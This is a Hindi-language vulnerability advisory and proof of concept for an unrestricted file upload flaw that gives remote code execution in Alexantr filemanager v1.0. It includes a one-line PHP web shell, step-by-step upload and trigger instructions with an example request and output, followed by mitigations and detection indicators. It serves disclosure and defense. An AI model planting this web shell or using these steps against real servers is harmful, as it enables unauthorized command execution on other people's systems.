
अलेक्सांट्र फ़ाइलमैनेजर v1.0 में असीमित फ़ाइल अपलोड के माध्यम से रिमोट कोड निष्पादन
CVE-2026-37637 के लिए प्रूफ ऑफ कॉन्सेप्ट - Alexantr filemanager v1.0 में Remote Code Execution, filemanager.php में असीमित फ़ाइल अपलोड के माध्यम से।
CVE-2026-37637 एक Remote Code Execution भेद्यता है जो Alexantr filemanager v1.0 को प्रभावित करती है।
यह भेद्यता filemanager.php घटक में अपलोड की गई फ़ाइलों के अपर्याप्त सत्यापन के कारण मौजूद है। एक दूरस्थ हमलावर वेब-सुलभ निर्देशिका में एक दुर्भावनापूर्ण PHP फ़ाइल अपलोड कर सकता है और सर्वर पर मनमाने कमांड निष्पादित कर सकता है।
CVE स्थिति: MITRE को प्रस्तुत किया गया
शोधकर्ता: CYBER-SEC विक्रेता रिपॉजिटरी: https://github.com/alexantr/filemanager
| आइटम | विवरण |
|---|
| CVE ID | CVE-2026-37637 |
| भेद्यता प्रकार | Remote Code Execution |
| प्रभावित उत्पाद | Alexantr filemanager |
| प्रभावित संस्करण | v1.0 |
| संवेदनशील घटक | filemanager.php |
| हमला वेक्टर | दूरस्थ (Remote) |
| प्रमाणीकरण आवश्यक | तैनाती/कॉन्फ़िगरेशन पर निर्भर करता है |
| प्रभाव | मनमाना कमांड निष्पादन |
| मूल कारण | असीमित फ़ाइल अपलोड और सर्वर-साइड फ़ाइल सत्यापन की कमी |
एक हमलावर फ़ाइल अपलोड कार्यक्षमता के माध्यम से एक दुर्भावनापूर्ण PHP फ़ाइल अपलोड कर सकता है। चूंकि अपलोड की गई फ़ाइलें वेब-सुलभ स्थान पर संग्रहीत की जाती हैं और PHP निष्पादन की अनुमति है, हमलावर सर्वर पर मनमाने सिस्टम कमांड निष्पादित कर सकता है।
सफल शोषण एक हमलावर को अनुमति दे सकता है:
एप्लिकेशन उपयोगकर्ताओं को फ़ाइल एक्सटेंशन, MIME प्रकार या फ़ाइल सामग्री को ठीक से सत्यापित किए बिना मनमानी फ़ाइलें अपलोड करने की अनुमति देता है।
निम्नलिखित जैसी एक दुर्भावनापूर्ण PHP फ़ाइल अपलोड की जा सकती है:
<?php system($_GET['cmd']); ?>
एक बार वेब-सुलभ निर्देशिका में अपलोड होने के बाद, हमलावर ब्राउज़र के माध्यम से फ़ाइल तक पहुंचकर और cmd पैरामीटर के माध्यम से कमांड पास करके कमांड निष्पादित कर सकता है।
उदाहरण:
http://target/uploads/shell.php?cmd=id
इसके परिणामस्वरूप अंतर्निहित ऑपरेटिंग सिस्टम पर कमांड निष्पादन होता है।
git clone https://github.com/alexantr/filemanager
cd filemanager
php -S localhost:8000
ब्राउज़र में एप्लिकेशन खोलें:
http://localhost:8000/filemanager.php
तैनाती या कॉन्फ़िगरेशन के आधार पर, एप्लिकेशन इसके माध्यम से भी सुलभ हो सकता है:
http://localhost:8000/pheditor.php
shell.php नामक एक फ़ाइल बनाएं:
<?php system($_GET['cmd']); ?>
एप्लिकेशन की अपलोड कार्यक्षमता का उपयोग करके फ़ाइल अपलोड करें।
फ़ाइल अपलोड करने के बाद, इसे सीधे ब्राउज़र से एक्सेस करें:
http://localhost:8000/uploads/shell.php?cmd=id
यदि शोषण सफल होता है, तो सर्वर कमांड निष्पादित करेगा और आउटपुट लौटाएगा।
उदाहरण आउटपुट:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<?php system($_GET['cmd']); ?>
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target
User-Agent: Mozilla/5.0
Connection: close
cmd पैरामीटर के माध्यम से आपूर्ति किया गया कमांड सर्वर पर निष्पादित किया जाता है।
यह भेद्यता फ़ाइल अपलोड कार्यक्षमता में अपर्याप्त सर्वर-साइड सत्यापन के कारण होती है।
एप्लिकेशन निम्नलिखित को ठीक से प्रतिबंधित नहीं करता है:
परिणामस्वरूप, निष्पादन योग्य PHP फ़ाइलें अपलोड और सीधे निष्पादित की जा सकती हैं।
विक्रेता और उपयोगकर्ताओं को निम्नलिखित सुरक्षा उपाय लागू करने चाहिए।
निम्नलिखित जैसे निष्पादन योग्य फ़ाइल प्रकारों की अपलोड की अनुमति न दें:
.php, .phtml, .php3, .php4, .php5, .phar
केवल अपेक्षित फ़ाइल प्रकारों की अनुमति दें, उदाहरण के लिए:
.jpg, .png, .gif, .txt, .pdf
केवल क्लाइंट-प्रदत्त Content-Type हेडर पर निर्भर न रहें।
फ़ाइल सत्यापन सर्वर-साइड पर किया जाना चाहिए।
अपलोड की गई फ़ाइलें सीधे निष्पादन योग्य या सार्वजनिक रूप से सुलभ नहीं होनी चाहिए।
Apache के लिए, यह .htaccess के साथ किया जा सकता है:
php_flag engine off
RemoveHandler .php .phtml .php3 .php4 .php5 .phar
RemoveType .php .phtml .php3 .php4 .php5 .phar
Nginx के लिए, अपलोड पथों में PHP हैंडलिंग रोकें:
location /uploads/ {
location ~ \.php$ {
deny all;
}
}
यादृच्छिक सर्वर-जनित फ़ाइल नामों का उपयोग करें और उपयोगकर्ता-नियंत्रित एक्सटेंशन हटाएं।
अपलोड कार्यक्षमता को केवल विश्वसनीय उपयोगकर्ताओं तक सीमित रखें।
प्रशासक वेब-सुलभ निर्देशिकाओं में संदिग्ध अपलोड की गई PHP फ़ाइलों की तलाश कर सकते हैं।
उदाहरण संकेतक:
shell.php
cmd.php
upload.php
backdoor.php
अपलोड निर्देशिकाओं के अंदर .php फ़ाइलें
संदिग्ध अनुरोध पैटर्न में शामिल हो सकते हैं:
?cmd=
?exec=
?shell=
?command=
उदाहरण लॉग प्रविष्टि:
GET /uploads/shell.php?cmd=id HTTP/1.1
यह रिपॉजिटरी केवल शैक्षिक और रक्षात्मक सुरक्षा उद्देश्यों के लिए प्रदान की गई है।
जानकारी और प्रूफ ऑफ कॉन्सेप्ट डेवलपर्स, सिस्टम प्रशासकों और सुरक्षा पेशेवरों को भेद्यता को समझने और सुधारने में मदद करने के लिए हैं।
स्पष्ट प्राधिकरण के बिना सिस्टम पर हमला करने के लिए इस जानकारी का उपयोग न करें। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है।
लेखक इस रिपॉजिटरी में प्रदान की गई जानकारी के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।